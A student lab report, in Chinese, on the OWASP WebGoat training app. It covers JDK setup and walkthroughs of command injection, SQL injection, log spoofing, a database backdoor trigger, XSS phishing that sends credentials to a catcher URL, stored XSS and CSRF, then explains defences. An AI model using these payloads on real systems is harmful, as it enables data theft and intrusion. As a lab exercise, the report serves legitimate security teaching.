- 一、 实验过程
- 1.实验基本配置
- 2.SQL注入攻击
- 2.1 Command Injection
- 2.2 Numeric SQL Injection
- 2.3 Log Spoofing
- 2.4 String SQL Injection
- 2.5 Database Backdoors
- 3. XSS攻击
- 3.1 Phishing with XSS
- 3.2 Stored XSS Attacks
- 4. CSRF攻击
- 4.1 Cross Site Request Forgery (CSRF)
- 二、 问题回答
- 1. SQL注入攻击原理,如何防御
- 2. XSS攻击的原理,如何防御
- 3. CSRF攻击原理,如何防御
- 三、实验中遇到的问题
- jdk环境配置
- 四、实验体会
一、 实验过程
1.实验基本配置
Step1:
本次实验需要用到webgoat-container-7.0.1-war-exec.jar,首先在如下网站进行下载。
https://github.com/WebGoat/WebGoat/releases?after=8.0.0
打开网站找到在最下面的
The OWASP WebGoat 7.0.1 Release
点击打开选择
webgoat-container-7.0.1-war-exec.jar
进行文件下载。
Step2:
下载完成后再控制面板含有webgoat-container-7.0.1-war-exec.jar
的目录下执行
java -jar webgoat-container-7.0.1-war-exec.jar
命令便可以启动Java文件。
Step3:
再启动目标Java文件之后打开浏览器输入
http://localhost:8080/WebGoat
便可以进入实验9的实验环境了
选择一个用户名和密码登录。
Step4:
登录完毕之后可以看到左侧无选项。需要配置jdk,配置jdk过程如下
1、下载jdk安装包
http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html
2、建立目录,将下载的jdk复制过去并解压
sudo mkdir -p /usr/local/java sudo cp jdk-8u161-linux-x64.tar.gz /usr/local/java cd /usr/local/java sudo tar xzvf jdk-8u91-linux-x64.tar.gz
3、配置环境变量
sudo vim /etc/profile ###复制以下代码到文件结尾 JAVA_HOME=/usr/local/java/jdk1.8.0_161 PATH=$PATH:$HOME/bin:$JAVA_HOME/bin export JAVA_HOME export PATH
4、通知系统java的位置
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_161/bin/java" 1 sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_161/bin/javac" 1 sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_161/bin/javaws" 1 sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_161/bin/javaws" 1
5、设置默认JDK
sudo update-alternatives --set java /usr/local/java/jdk1.8.0_161/bin/java sudo update-alternatives --set javac /usr/local/java/jdk1.8.0_161/bin/javac sudo update-alternatives --set javaws /usr/local/java/jdk1.8.0_161/bin/javaws
6、重新载入profile
source /etc/profile
配置成功以后在终端执行命令
java -jar webgoat-container-7.0.1-war-exec.jar
最后重新登陆:
2 .SQL注入攻击
2.1Command Injection
Command Injection,即命令注入攻击,是指这样一种攻击手段,黑客通过把HTML代码输入一个输入机制(例如缺乏有效验证限制的表格域)来改变网页的动态生成的内容。
一个恶意黑客(也被称为破裂者cracker)可以利用这种攻击方法来非法获取数据或者网络资源。当用户进入一个有命令注入漏洞的网页时,他们的浏览器会通译那个代码,
而这样就可能会导致恶意命令掌控该用户的电脑和他们的网络。 命令注入攻击最初被称为Shell命令注入攻击,是由挪威一名程序员在1997年意外发现的。第一个命令注入攻击程序能随意地从一个网站删除网页,就像从磁盘或者硬盘移除文件一样简单。 最常见的命令注入攻击形式是SQL命令注入攻击或者简称为SQL注入攻击,是指破裂者利用设计上的安全漏洞,把SQL代码粘贴在网页形式的输入框内,获取其网络资源或者改变数据的一种攻击。
Step1:
在左侧栏中选择Injection Flaws—>Command Injection
之后右键点击页面,选择inspect Element
便可以修改HTML代码。
Step2:
在HTML代码中随便选择一行,点击鼠标右键选择Edit As Html 修改添加
"& netstat -an & ipconfig"
Step3:
点击view网页便出现
执行指令后的网络端口使用情况和IP地址。
2.2Numeric SQL Injection
Step1:
在菜单中选择Injection Flaws—>Numeric SQL Injection
选择一个城市点击GO便可以查看此城市的天起情况。
Step2:
点击鼠标右键,选择inspect Element
网页HTML代码进行修改
Step3:
在城市Columbia的<option>中加入编号+or 1=1。
Step4:
再次点击GO显示了所有城市的天气。
2.3Log Spoofing
Step1:
在菜单中选择Injection Flaws—>Log Spoofing
Step2:
在用户名中输入Smith%0d%0aLogin Succeeded for username: admin(0D%和%0A是回车和换行符)便可以达到修改日志的目的。
2.4String SQL Injection
Step1:
在菜单中选择Injection Flaws—>String SQL Injection
输入Smith
点击Go
,网页会显示Smith
的信息:
Step2:
在输入栏中输入' or 1=1 --
即可将所有信用卡信息显示出来:
2.5Database Backdoors
Step1:
在输入栏中输入102查询现有信息。
Step2:
输入命令 102; update employee set salary=9999999命令
update可以将102的数值改为9999999
Step3:
输入命令:
102;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20175330@hackme.com'WHERE userid = NEW.userid
将邮箱修改为指定邮箱。
3.XSS攻击
3.1Phishing with XSS
Step1:
编写代码:
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("surprise man Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
将代码输入Search
输入框中然后点击search。
便会出现提示语surprise man Your credentials were just stolen
Step2:
输入用户名和密码以后确定
,可以看到输入的信息:
3.2Stored XSS Attacks
Step1:
在title中任意输入20175330,留言板中输入如下HTML代码
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("surprise man Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
Step2:
点击submit
,下方会新增名字为20175330的链接,点击链接可以看到我们的html已经注入成功
Step3:
在下方输入用户名密码处,点击确定后用户名和密码被获取:
4 .CSRF攻击
4.1Cross Site Request Forgery (CSRF)
Step1:
查看Parameters中的src值和menu值,分别为328和900。
Step2:
在title中输入20175330,message框中输入如下代码
<img src="http://localhost:8080/WebGoat/attack?Screen=328&menu=900&transferFunds=20175330" width="99" height="99" />
Step3:
确定之后,生成名为20175330的链接。点击该连接,当前页面就会下载这个消息并显示出来,转走用户的钱。
二、问题回答
1. SQL注入攻击原理,如何防御
SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
1、对用户输入的内容进行转义(PHP中addslashes()、mysql_real_escape()函数)。
2、限制关键字的输入(PHP中preg_replace()函数正则替换关键字),限制输入的长度 。
3、使用SQL语句预处理,对SQL语句首先进行预编译,然后进行参数绑定,最后传入参数。
4、所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。
5、数据长度应该严格规定。
2 .XSS攻击的原理,如何防御
XSS攻击的原理
1、黑客对含有漏洞的服务器发起XSS攻击;
2、诱使用户打开受到攻击的服务器URL;
3、用户在浏览器中打开URL,恶意代码执行。
XSS防御的措施
对用户的输入数据进行过滤,编码等操作。
对cookie进行保护,设置为httpOnly,防止客户端通过document.cookie
读取cookie(服务端设置)。
3 .CSRF攻击原理,如何防御
CSRF攻击原理:
1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
2.在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
3. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
4. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
5. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
目前防御 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证。
三、实验中遇到的问题
实验过程当中配置jdk时遇到了无法解压tar.gz的问题。参考如下博客
https://www.cnblogs.com/xiaoBay/p/7567249.html
顺利解决。
四、实验感想
作为本次课程的最后一次试验,还是感慨万千的,这次实验比较简单的,各种攻击做的比较顺利。从刚开始Exp1对底层二位码的修改到之后的各种实验学习使用许多好玩的工具进行各种攻击觉得挺有意思的,对网络安全已经有了更深掌握,这次课程让我获益良多。